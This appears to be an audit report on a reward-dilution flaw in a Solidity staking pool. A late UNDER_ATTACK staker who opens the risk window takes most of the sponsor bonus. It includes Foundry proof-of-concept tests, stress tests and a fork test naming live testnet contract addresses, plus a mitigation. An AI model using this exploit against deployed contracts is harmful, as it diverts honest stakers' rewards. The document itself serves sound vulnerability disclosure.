Root + Impact
Description
ConfidencePool intends to allow deposits during UNDER_ATTACK while making late entrants earn approximately zero bonus through the k=2 risk-time weighting. Existing stakers should receive the sponsor bonus according to the time and principal they had at risk.
The issue is that stake() observes the registry before recording the new deposit. When the registry is already UNDER_ATTACK and riskWindowStart == 0, the attacker’s own stake() call opens riskWindowStart, then records the attacker’s deposit at that same timestamp. The attacker is therefore treated as part of the earliest measured risk cohort instead of being treated as a late entrant.
Because the new stake is recorded at the same timestamp as riskWindowStart, the attacker is treated as an earliest measured participant and receives an amount-weighted bonus share instead of a near-zero late-entry bonus.
Affected locations:
-
src/ConfidencePool.sol:222-227 calls _observePoolState() before adding the new stake.
-
src/ConfidencePool.sol:727-734 allows UNDER_ATTACK deposits.
-
src/ConfidencePool.sol:784-795 lazily opens the risk window on the first active-risk observation.
-
src/ConfidencePool.sol:801-816 resets global accumulators at the delayed observation timestamp.
-
src/ConfidencePool.sol:696-719 falls back to amount-weighted bonus allocation when the measured risk-time score is zero.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
@> _assertDepositsAllowed(_observePoolState());
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
...
}
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
@> state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
@> || state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
...
@> if (riskWindowStart == 0 && _isActiveRiskState(state)) {
@> _markRiskWindowStart();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
@> riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
@> if (globalScore == 0) {
@> if (snapshotTotalStaked == 0) return 0;
@> return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
@> }
...
}
Risk
Likelihood:
-
Reason 1: This occurs during the UNDER_ATTACK state when no one has yet called pokeRiskWindow() and no other pool interaction has opened riskWindowStart.
-
Reason 2: The attacker does not need privileged permissions. They only need stake tokens and can call stake() while UNDER_ATTACK deposits are still accepted.
Impact:
-
Impact 1: Earlier stakers lose bonus rewards to a late entrant who did not carry the same measured risk exposure.
-
Impact 2: The k=2 bonus distribution semantics are broken because the late entrant receives an amount-weighted bonus share instead of the intended near-zero late-entry share. In the verified PoC, an attacker staking 9x the honest staker receives 90% of the bonus; a 99x stake receives 99% of the bonus.
Proof of Concept
Local end-to-end proof:
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolLazyRiskWindowPoCTest is BaseConfidencePoolTest {
function testLateUnderAttackStakeOpensWindowAndTakesAmountWeightedBonus() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(vm.getBlockTimestamp() + 10 days);
_stake(bob, 900 * ONE);
assertEq(pool.riskWindowStart(), vm.getBlockTimestamp(), "bob stake opens observed risk window");
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 alicePayout = _claimSurvived(alice);
uint256 bobPayout = _claimSurvived(bob);
assertEq(alicePayout, 110 * ONE, "alice only receives 10% of the bonus");
assertEq(bobPayout, 990 * ONE, "bob captures 90% of the bonus");
}
function testControlLateUnderAttackStakeAfterPokeIsCrushedByK2Weighting() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
uint256 openedAt = pool.riskWindowStart();
vm.warp(vm.getBlockTimestamp() + 10 days);
_stake(bob, 900 * ONE);
assertEq(pool.riskWindowStart(), openedAt, "bob must not move an existing risk window");
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 alicePayout = _claimSurvived(alice);
uint256 bobPayout = _claimSurvived(bob);
assertEq(alicePayout, 193_076_923_076_923_076_923, "alice receives the risk-weighted bonus share");
assertEq(bobPayout, 906_923_076_923_076_923_076, "bob is crushed to a small bonus share");
}
function testStressEqualLateStakeCapturesHalfBonus() external {
_assertExploitCapture({delayAfterUnderAttack: 1 days, bobStake: 100 * ONE, expectedBobBonus: 50 * ONE});
}
function testStressNineTimesLateStakeCapturesNinetyPercentBonus() external {
_assertExploitCapture({delayAfterUnderAttack: 10 days, bobStake: 900 * ONE, expectedBobBonus: 90 * ONE});
}
function testStressNinetyNineTimesLateStakeCapturesNinetyNinePercentBonus() external {
_assertExploitCapture({delayAfterUnderAttack: 20 days, bobStake: 9_900 * ONE, expectedBobBonus: 99 * ONE});
}
function _assertExploitCapture(uint256 delayAfterUnderAttack, uint256 bobStake, uint256 expectedBobBonus)
internal
{
uint256 aliceStake = 100 * ONE;
uint256 bonus = 100 * ONE;
_stake(alice, aliceStake);
_contributeBonus(carol, bonus);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(vm.getBlockTimestamp() + delayAfterUnderAttack);
_stake(bob, bobStake);
assertEq(pool.riskWindowStart(), vm.getBlockTimestamp(), "late stake opens risk window");
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 alicePayout = _claimSurvived(alice);
uint256 bobPayout = _claimSurvived(bob);
assertEq(bobPayout, bobStake + expectedBobBonus, "bob receives amount-weighted bonus");
assertEq(alicePayout, aliceStake + (bonus - expectedBobBonus), "alice is diluted by bob's stake size");
}
function _claimSurvived(address user) internal returns (uint256 payout) {
uint256 beforeBalance = token.balanceOf(user);
vm.prank(user);
pool.claimSurvived();
payout = token.balanceOf(user) - beforeBalance;
}
}
Control proof in the same file shows the intended behavior when the risk window is opened before the late stake: Alice receives `193.076923076923076923` tokens while Bob receives only `906.923076923076923076`, meaning Bob's 900-token late stake receives only about 6.92 bonus tokens instead of 90.
Verified command:
forge test --match-path test/unit/ConfidencePool.lazyRiskWindow.poc.t.sol -vvv
Verified Result:
Ran 5 tests for test/unit/ConfidencePool.lazyRiskWindow.poc.t.sol:ConfidencePoolLazyRiskWindowPoCTest
[PASS] testControlLateUnderAttackStakeAfterPokeIsCrushedByK2Weighting()
[PASS] testLateUnderAttackStakeOpensWindowAndTakesAmountWeightedBonus()
[PASS] testStressEqualLateStakeCapturesHalfBonus()
[PASS] testStressNineTimesLateStakeCapturesNinetyPercentBonus()
[PASS] testStressNinetyNineTimesLateStakeCapturesNinetyNinePercentBonus()
Suite result: ok. 5 passed; 0 failed; 0 skipped
The exploit is not limited to a single payout example. Stress tests show the late UNDER_ATTACK staker’s captured bonus scales with their stake size: 50%, 90%, and 99% bonus capture are all reproducible. This confirms the bug turns the intended k=2 time-weighted distribution into an amount-weighted distribution when the late staker self-opens riskWindowStart.
Live BattleChain testnet fork confirmation:
function testLiveAgreementFirstUnderAttackStakeCapturesAmountWeightedBonus() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
vm.rollFork(DELAYED_UNDER_ATTACK_BLOCK);
assertEq(pool.riskWindowStart(), 0, "pool has not observed active risk yet");
_stake(bob, 900 * ONE);
assertEq(pool.riskWindowStart(), block.timestamp, "bob stake opens observed risk window");
vm.warp(expiryTs);
vm.prank(alice);
pool.claimExpired();
vm.prank(bob);
pool.claimExpired();
assertEq(alicePayout, 110 * ONE);
assertEq(bobPayout, 990 * ONE);
}
The fork uses the live Safe Harbor registry at 0x0a652e265336a0296816aC4D8400880e3E537C24, demo agreement 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716, and a checkpoint where the agreement is already UNDER_ATTACK.
Verified command:
source .env && BATTLECHAIN_TESTNET_RPC="$BATTLECHAIN_TESTNET_RPC" forge test --match-path test/fork/ConfidencePoolLazyRiskWindow.fork.t.sol -vvv
Verified result:
Ran 1 test for test/fork/ConfidencePoolLazyRiskWindow.fork.t.sol:ConfidencePoolLazyRiskWindowForkTest
[PASS] testLiveAgreementFirstUnderAttackStakeCapturesAmountWeightedBonus()
Suite result: ok. 1 passed; 0 failed; 0 skipped
Recommended Mitigation
Do not allow the same stake() call to both open an active-risk window and join that window as an earliest participant. A minimal fix is to block deposits when the observation starts the risk window.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
- _assertDepositsAllowed(_observePoolState());
+ uint32 previousRiskWindowStart = riskWindowStart;
+ IAttackRegistry.ContractState state = _observePoolState();
+ _assertDepositsAllowed(state);
+ if (previousRiskWindowStart == 0 && riskWindowStart != 0) revert StakingClosed();
if (!expiryLocked) {
expiryLocked = true;
}
An alternative is to disallow all UNDER_ATTACK deposits. If UNDER_ATTACK deposits remain part of the design, deposits after a delayed first observation must be recorded with the true registry transition time or rejected when they are the call that discovers the active-risk state.